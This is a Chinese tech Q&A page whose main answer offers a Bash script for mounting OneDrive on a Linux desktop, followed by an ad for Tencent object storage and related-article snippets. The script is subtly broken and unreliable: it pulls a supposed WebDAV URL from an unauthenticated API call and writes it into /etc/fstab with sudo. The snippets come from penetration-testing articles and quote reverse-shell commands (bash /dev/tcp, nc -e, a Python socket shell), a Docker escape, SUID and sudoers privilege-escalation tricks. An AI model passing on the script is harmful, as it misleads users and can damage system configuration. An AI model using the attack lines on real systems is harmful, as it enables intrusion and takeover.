首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

使用OS上的Bash shell,可以编写一个脚本让我将OneDrive挂载到桌面上吗?

使用OS上的Bash shell,可以编写一个脚本将OneDrive挂载到桌面上。下面是一个示例脚本:

代码语言:txt
复制
#!/bin/bash

# 安装依赖
sudo apt-get install -y curl davfs2

# 创建挂载目录
mkdir ~/OneDrive

# 获取OneDrive的WebDAV地址
onedrive_url=$(curl -s "https://api.onedrive.com/v1.0/drive/root" | grep -o 'https://[^"]*')

# 将OneDrive挂载到桌面
echo "$onedrive_url ~/OneDrive davfs user,rw,noauto 0 0" | sudo tee -a /etc/fstab
sudo mount ~/OneDrive

# 创建桌面快捷方式
echo "[Desktop Entry]
Type=Link
Name=OneDrive
Icon=folder
URL=file:///home/your_username/OneDrive" > ~/Desktop/OneDrive.desktop
chmod +x ~/Desktop/OneDrive.desktop

请注意替换脚本中的your_username为你的用户名。

这个脚本的作用是:

  1. 安装所需的依赖(curl和davfs2)。
  2. 创建一个目录用于挂载OneDrive。
  3. 使用curl命令获取OneDrive的WebDAV地址。
  4. 将OneDrive的WebDAV地址添加到/etc/fstab文件中,以便系统启动时自动挂载。
  5. 手动挂载OneDrive。
  6. 创建一个桌面快捷方式,方便访问OneDrive。

这个脚本适用于Linux系统,如Ubuntu。对于其他操作系统,可能需要进行相应的修改。

推荐的腾讯云相关产品:腾讯云对象存储(COS)。 腾讯云对象存储(COS)是一种高可用、高可靠、强安全的云端存储服务,适用于存储和处理任意类型的文件,包括文档、图片、音视频等。您可以使用腾讯云对象存储(COS)来存储和管理您的OneDrive文件。了解更多信息,请访问腾讯云对象存储(COS)的官方文档:腾讯云对象存储(COS)

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

如何高效的在服务器和本地进行上传和下载文件

昨天, 师弟告诉我可以在xshell中使用sz进行下载, 想要上传的话用rz就行了. 然后我竟然没有听过. 学习最好的方法就是写一篇博客, 比如这篇. 1....FileZilla, Winscp到scp FileZilla和Winscp都是窗口化的解决方案,scp命令可以在终端种执行, 想要下载到特定文件种,在文件中右键打开git bash,打开cmd ?...如果端口是22, 那么-P 22可以省略 为了不每一次输入dengfei@192....之类的代码, 以及输入文件的绝对路径, 我编写了一个perl脚本, 自动定位文件所在的绝对路径, 并且加入scp的命令..., 这样就可以生成一个命令,可以直接在本地的shell中下载服务器的内容: #!...3.1 下载 服务器当前目录有一个hello.txt文档, 我要下载到本地的桌面上, 键入: sz hello.txt 然后弹出保存文件的对话框, 默认是桌面, 点击确定即可 ?

3.7K50

为什么年轻一代连操作系统的基本知识都不懂?

让他们使用 IDE 进行设置并安装 Python 是一个痛苦的经历,但他们实际上很快掌握了编程,并能及时对热扩散或其他东西进行建模,尽管几乎不知道他们把东西保存在了哪里。...他们不知道刚刚保存到云的版本还没有被触发下载到本地机器上,因此他们会提交一份不完整的文件。作业做得很差,然后向我证明他们正确地完成了作业,最终迫使我重新评分。...全球第一款互联网搜索引擎在 1990 年左右开始普及,而 Windows 搜索与 Mac OS 上的 Spotlight 等功能也在 2000 年初正式出现。...但问题在于,开发人员在编写并通过命令行运行代码时,必须明确指定要访问的文件存放在哪里,程序无法自行搜索这些文件。有些编程语言虽然提供搜索功能,但由于实现难度太大,使用频率很低。...前人一遍又一遍地讲述同样的故事,但对于每年大量加入 IT 行业的新开发人员来说,这些故事仍是闻所未闻的。 知乎上有人将编程知识可以分为经验型知识和原理型知识两类。

20520
  • 为什么年轻一代连操作系统的基本知识都不懂?

    让他们使用 IDE 进行设置并安装 Python 是一个痛苦的经历,但他们实际上很快掌握了编程,并能及时对热扩散或其他东西进行建模,尽管几乎不知道他们把东西保存在了哪里。...他们不知道刚刚保存到云的版本还没有被触发下载到本地机器上,因此他们会提交一份不完整的文件。作业做得很差,然后向我证明他们正确地完成了作业,最终迫使我重新评分。...但问题在于,开发人员在编写并通过命令行运行代码时,必须明确指定要访问的文件存放在哪里,程序无法自行搜索这些文件。有些编程语言虽然提供搜索功能,但由于实现难度太大,使用频率很低。 旧知识还有价值吗?...cd(或 chdir)——改变目录 dir -- 列出当前目录中的文件 mkdir -- 创建一个目录... 甚至在我开始使用 Unix 之前,这些就已经烙进我的脑子里了。”...前人一遍又一遍地讲述同样的故事,但对于每年大量加入 IT 行业的新开发人员来说,这些故事仍是闻所未闻的。 知乎上有人将编程知识可以分为经验型知识和原理型知识两类。

    29020

    Docker逃逸CVE-2019-5736、procfs云安全漏洞复现,全文5k字,超详细解析!

    直接将其挂载到不受控的容器内,特别是容器默认拥有root权限且未启用用户隔离时,将极大地增加安全风险。因此,需谨慎处理,确保容器环境安全隔离。...,要么使用香港或者国外操作系统,或者推荐「龙蜥操作系统」,就算搭建本地也自带外网加速 ❞ 这里docker版本原因,pull不了镜像,可以pull本地,这里我准备好了一个docker可以直接用的ubuntu...「复现步骤」: 创建一个挂载/proc目录的Docker容器。 在容器内安装gcc并编写反弹shell的Python脚本。...在容器内制造进程崩溃,触发核心转储机制,执行反弹shell脚本,从而在攻击机上获得宿主机的shell访问权限。 「防御建议」: 避免将宿主机的敏感目录(如/proc)挂载到容器中。...「复现步骤」: 在受影响的Docker环境中安装并运行易受攻击的容器。 编译并准备用于漏洞利用的payload(一个Go语言编写的可执行文件)。

    67210

    神器:在一个 U 盘上放入多个 Linux 发行版

    我们使用旧笔记本电脑,我向学生们介绍了 Fedora、Ubuntu 和 Pop!_OS。下课后,我给每个学生一份他们喜欢的发行版的副本,让他们带回家安装在自己选择的电脑上。...Linux 的安装是通过命令行进行的,所以如果你不熟悉这个过程,可能会有点混乱。然而,其实很容易。 首先,下载 Ventoy。我把存档文件下载到我的桌面上。...xvf ventoy*z 这个命令将所有必要的文件提取到我桌面上一个名为 ventoy-x.y.z 的文件夹中。...你需要确定你的 U 盘的正确挂载点,以便这个脚本能够正常工作。你可以通过在命令行上发出 mount 命令或者使用 GNOME 磁盘 来找到它,后者提供了一个图形界面。...让我重申:这个 shell 脚本的目的是把数据复制到一个驱动器上, 破坏该驱动器上的所有数据。 如果该驱动器上有你关心的数据,在尝试这个方法之前,先把它备份!

    69220

    为什么有人连操作系统的基本知识都不懂?

    让他们使用 IDE 进行设置并安装 Python 是一个痛苦的经历,但他们实际上很快掌握了编程,并能及时对热扩散或其他东西进行建模,尽管几乎不知道他们把东西保存在了哪里。...他们不知道刚刚保存到云的版本还没有被触发下载到本地机器上,因此他们会提交一份不完整的文件。作业做得很差,然后向我证明他们正确地完成了作业,最终迫使我重新评分。...全球第一款互联网搜索引擎在 1990 年左右开始普及,而 Windows 搜索与 Mac OS 上的 Spotlight 等功能也在 2000 年初正式出现。...cd(或 chdir)——改变目录 dir -- 列出当前目录中的文件 mkdir -- 创建一个目录... 甚至在我开始使用 Unix 之前,这些就已经烙进我的脑子里了。”...前人一遍又一遍地讲述同样的故事,但对于每年大量加入 IT 行业的新开发人员来说,这些故事仍是闻所未闻的。 知乎上有人将编程知识可以分为经验型知识和原理型知识两类。

    21830

    【Linux】OS、进程PCB、状态、进程的切换和调度,深入理解虚拟地址空间

    可以执行程序后面用空格+& 来让一个进程到后台运行,后面显示进程pid。 打断点的本质是让当前进程暂停。...但是这种修改只是临时的,因为这些环境变量只是加载到bash进程中,它是内存级的。...当我们登录的时候->系统创建bash进程->读取当前登录用户下的环境变量配置文件->配置它自己的环境变量->将bash自己的路径改为当前用户的路径。...进程能获得自己所在的路径: 通过USER环境变量,可以让程序识别用户身份,比如可以让某个程序只能指定用户运行: 环境变量可以被所有bash之后的进程全部看到(继承),所以环境变量具有全局属性...虚拟地址空间+页表:保护内存 进程管理 和 内存管理 在系统层面进行解耦 让进程以统一的视角看待内存,代码和数据可以加载到内存的任意位置,通过页表的映射可以让无序变有序 本篇文章的分享就到这里了,如果您觉得在本文有所收获

    7600

    攻防|反弹shell方式汇总

    注意有些反弹shell的方法或脚本只适用于Linux或者Windows,注意区分相关脚本的编写方式方法。...openssl(加密反弹shell) 在计算机网络上,OpenSSL 是一个开放源代码的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。...script获取pty 我们可以使用 Linux 系统下的 script 命令,在弹回来的 shell 下创建一个带有 tty 的 shell, 这样就可以勉强使用一下 top 和 vim $ script.../bin/sh 的脚本,出错之后不会继续运行,#!/bin/bash的脚本,出错之后会继续运行,我在Ubuntu上试了一下...#!.../bin/sh的脚本不应使用任何POSIX没有规定的特性 (如let等命令, 但#!/bin/bash可以)。

    1K10

    用 OneDriver GUI 工具在 Linux 中挂载微软 OneDrive

    在 Windows 上,微软提供了一个 免费云存储服务 OneDrive。它与 Windows 集成,你可以通过你的微软账户获得 5GB 的免费存储空间。...这在 Windows 上很好用,但和谷歌一样,微软也没有在 Linux 桌面上提供 OneDrive 的本地客户端。 当然,你可以通过浏览器访问你的 OneDrive 数据。...你可以使用像 Insync 这样的高级服务,或者选择用 rclone 在 Linux 上使用 OneDrive 这种稍微复杂的命令行方式。 最近,我发现了另一个工具,它稍有不同,使用起来也更简单。...OneDriver:在你的 Linux 系统上挂载 OneDrive OneDriver 是一个自由而开源的工具,允许你在 Linux 系统上挂载 OneDrive 文件。...你在挂载的 OneDrive 中打开的文件也被下载到系统中。这意味着,你也可以离线访问打开的文件。如果你没有连接到互联网,这些文件将成为只读。

    3.1K20

    用 OneDriver GUI 工具在 Linux 中挂载微软 OneDrive

    在 Windows 上,微软提供了一个 免费云存储服务 OneDrive。它与 Windows 集成,你可以通过你的微软账户获得 5GB 的免费存储空间。...这在 Windows 上很好用,但和谷歌一样,微软也没有在 Linux 桌面上提供 OneDrive 的本地客户端。 当然,你可以通过浏览器访问你的 OneDrive 数据。...你可以使用像 Insync 这样的高级服务,或者选择用 rclone 在 Linux 上使用 OneDrive 这种稍微复杂的命令行方式。 最近,我发现了另一个工具,它稍有不同,使用起来也更简单。...你在挂载的 OneDrive 中打开的文件也被下载到系统中。这意味着,你也可以离线访问打开的文件。如果你没有连接到互联网,这些文件将成为只读。...如果你喜欢这个项目,也许可以给它一个 GitHub 上的星标。

    3.4K10

    nodejs写bash脚本终极方案!

    ◆ 前言 最近在学习bash脚本语法,但是如果对bash语法不是熟手的话,感觉非常容易出错,比如说:显示未定义的变量shell中变量没有定义,仍然是可以使用的,但是它的结果可能不是你所预期的。...后来就开始探索,如果用node脚本代替bash该多好啊,经过一天折腾逐渐发现一个神器,Google旗下的zx库,先别着急,我先不介绍这个库,我们先看看目前主流用node如何编写bash脚本,就知道为啥它是神器了...写bash脚本的方案了,如果你们那边的node环境不能随便升级,我觉得shelljs确实够用了。...很棒,但是在编写脚本时,人们通常会选择更方便的编程语言。.../package.json') os await $`cd ${os.homedir()} && mkdir example` 配置: $.shell 指定要用的bash. $.shell = '/

    3.9K20

    一文吃透Linux提权

    在许多情况下,升级到Linux系统上的根目录就像将内核漏洞利用程序下载到目标文件系统,编译该漏洞利用程序然后执行它一样简单。 假设我们可以以非特权用户身份运行代码,这就是内核利用的通用工作流程。...我们在/ tmp目录中编写一个C文件并进行编译。 rootme可执行文件将生成一个shell。...Cron脚本覆盖和符号链接 如果可以修改由root执行的cron脚本,则可以非常轻松地获取shell: echo ‘cp /bin/bash /tmp/bash; chmod +s /tmp/bash’...让我们创建一个将注入标记的文件: cd important-directorytouch — —checkpoint=1 2)编写恶意的Shell脚本 Shell脚本将/etc/sudoers在其后追加代码...现在让我们注入将运行我们的shell脚本的标志: touch — “-e sh shell.sh” 0x009 Linux提权-NFS权限弱 如果您在linu服务器上具有低特权shell,并且发现服务器中具有

    5.6K42

    什么是反弹 Shell?

    如果用反向 Shell,那就是在 A 上先开启一个监听端口,然后让 B 去连接 A 的这个端口,连接成功之后,A 这边就能通过命令控制 B了。 反弹 Shell 有什么用?...如图所示: 这样我们就通过 nc 包实现了反弹 Shell。 有人说,这 B 上一定需要安装 nc 这个包吗?...其实不一定的,我们可以直接使用 bash 来实现反弹 Shell,命令如下: bash -i >& /dev/tcp/111.112.113.114/32767 0>&1 这个命令大致解释下: bash...-i 就是产生一个 bash 交互环境 >&可以将 bash 交互环境的输入、输出、错误输出都输出到一个地方 /dev/tcp/111.112.113.114/32767 其实指的就是目标主机的一个连接地址...另外除了用 bash,我们还可以利用 Python 进行反弹 Shell,脚本如下: python -c 'import socket,subprocess,os; \ s=socket.socket(

    1.1K10

    靶机实战 |『VulnHub系列』Bottleneck 1-Walkthrough

    小弟虽然英语没过4级,但用的语言却TM是英文,包括我的宿主机Ubuntu……有一点儿装了 ? 针对这个漏洞我编写了一个Python脚本 #!...脚本的好处就是不需要人工一个一个去测试,使用前面的脚本,wordlist如下 /etc/passwd.....这也就是上面列表中为什么我的第一个payload是/etc/passwd。我故意先发送一个黑名单请求,让系统在/tmp/output里面生成日志,之后再读取。...从结果上来看是执行成功了的;随后我想反弹shell到kali的1234端口,于是输入了 __import__('os').system("nc -e /bin/bash 192.168.0.108 1234...随后在kali上重复了反弹shell的操作,在Ubuntu上监听,结果就可以了。 后记:这里确实是Ubuntu上的nc的问题,安全起见,默认不允许使用 -e选项 ? ?

    2K20

    Linux 提权总结

    上s权限,而nmap 5.20(使用nmap -v查看nmap版本)之前有一个interactive交互模式(nmap –interactive),在nmap effective uid为0时,可以通过这个模式获得...读文件 find /path -exec {} \; 3.vim vim有了suid就可以任意文件读取了 同时也可以输入 :shell 来获取root shell 4.bash bash -p 开启一个新...使用 在 bash 下 echo $SHELL, 可以获取当前环境是否是 rbash. bypass scp bypass 我在http://www.const27.com/2020/07/02/vulnhub-dc...同时用户有修改自己环境变量的权限, 我们就可以通过劫持system函数里调用的脚本文件,使其指向我们环境变量里自行创建的一个同名脚本文件,那么这个我们自行创建的同名脚本文件就能以root权限运行了,如果这个脚本文件里的命令是...我们在获得一台机器的root权限后,可以通过nfs在另一台低权限机器上实现提权 mkdir /tmp/nfs mount -o rw,vers=3 10.10.10.10:/tmp /tmp/nfs 将本机上的

    6.5K20

    靶机实战 |『VulnHub系列』Bottleneck 1-Walkthrough

    小弟虽然英语没过4级,但用的语言却TM是英文,包括我的宿主机Ubuntu……有一点儿装了 ? 针对这个漏洞我编写了一个Python脚本 #!...脚本的好处就是不需要人工一个一个去测试,使用前面的脚本,wordlist如下 /etc/passwd.....这也就是上面列表中为什么我的第一个payload是/etc/passwd。我故意先发送一个黑名单请求,让系统在/tmp/output里面生成日志,之后再读取。...从结果上来看是执行成功了的;随后我想反弹shell到kali的1234端口,于是输入了 __import__('os').system("nc -e /bin/bash 192.168.0.108 1234...随后在kali上重复了反弹shell的操作,在Ubuntu上监听,结果就可以了。 后记:这里确实是Ubuntu上的nc的问题,安全起见,默认不允许使用 -e选项 ? ?

    1.3K31

    使用ShareList挂载天翼云网盘

    相关介绍 ShareList 原名 GDLIST是一个易用的网盘工具,支持快速挂载 GoogleDrive、OneDrive ,可通过插件扩展功能。...不占服务器空间;可多个 Google Drive和 OneDrive同时挂载到网盘;支持直链下载;在线预览(图片、视频、音频) 支持网盘 目前支持:GoogleDrive、OneDrive(含世纪互联...type: basic data: - user1:111111 - user2:aaaaaa basic是内置的验证方式,使用用户名密码对进行判断,上面的例子中可使用 user1的密码为 111111... 相关问题 我第一次出问题就是在这里,无论如何都提示npm和pm2命令无法使用: 首先进入sharelist...,虽然博主不会shell的语法,但推测此处很可能是install.sh没能找到Nodejs的路径,因此删除这一行,保存即可 等待一分钟左右,在一堆的提示代码后,sharelist便成功安装了。

    9.2K20

    由 Python 到 Shell

    入职半年,进步并不是想象中的那么大,虽说在任何地方工作都其实是靠自己的努力、对技术的钻研,达到熟练、进而开拓其他领域等,还是需要不断的“偷懒”, 能使用编程语言实现的东西尽量编写脚本完成,而不是被一系列杂乱的事影响对工作的完成和自己的进步...最近做的工作都是在频繁的重复工作,所以借着这个契机还是入手了下shell 脚本,发现有编程基础,其实这些很容易入手,编写一些简易的脚本完成一些重复性工作,既简约了时间又可以保证正确率,手动操作,总是会出现部分错误的...例子 是什么 shell scripts 的编写 核心语法 使用Linux 开发的话,在终端下敲的命令都是通过shell 和 linux 内核进行交互,完成响应的这么一个过程,而且shell 有各种各样的版本...shell scripts 类似于 python 中编写的py脚本下代码的集合。.../sh01.sh bash sh01.sh 如何传递参数 ./sh01.sh argone argtwo 如何在脚本中使用传入的参数 对文件执行传入参数: 比如: .

    93930

    k8s pod 中的程序为啥服务优雅关闭不生效?收不到 sigterm 信号?

    ,我们回去编写 Dockerfile ,写我们的启动脚本,做成镜像,进而做成 helm 包,推到 helm 仓库中,在环境中我们就可以使用 helm 工具来高效的部署咱们的服务了,此处就过多赘述了,感兴趣的可以查看如下...2 篇历史文章: 如何将自己的镜像使用 helm 部署 原来服务端的退出姿势也可以这么优雅 实际情况上,服务在线上跑了一年多了,最近要做一个需求,涉及到服务被 kill 的时候,要到优雅关闭中做一些事情...,例如清空某些过程数据 万万没想到,正是优雅关闭在 k8s 部署的时候出了问题,还记当刚才我们说到的在 k8s 中部署的时候,咱们会写启动脚本吗?...sh", "start.sh"] 正是因为咱们在容器中是通过 shell 脚本来启动咱们的 my_demo_svr 服务,那么实际情况是这样来的 bash(xxxpid) --- shell(xxpid...的,因此 my_demo_svr 是不会进行优雅关闭的 看到这里,实际上我们处理的思路就是: 如何让 shell 收到 sigterm 信号的时候,可以传递给他的子进程 实际应用了两种方式 在脚本中

    54320
    领券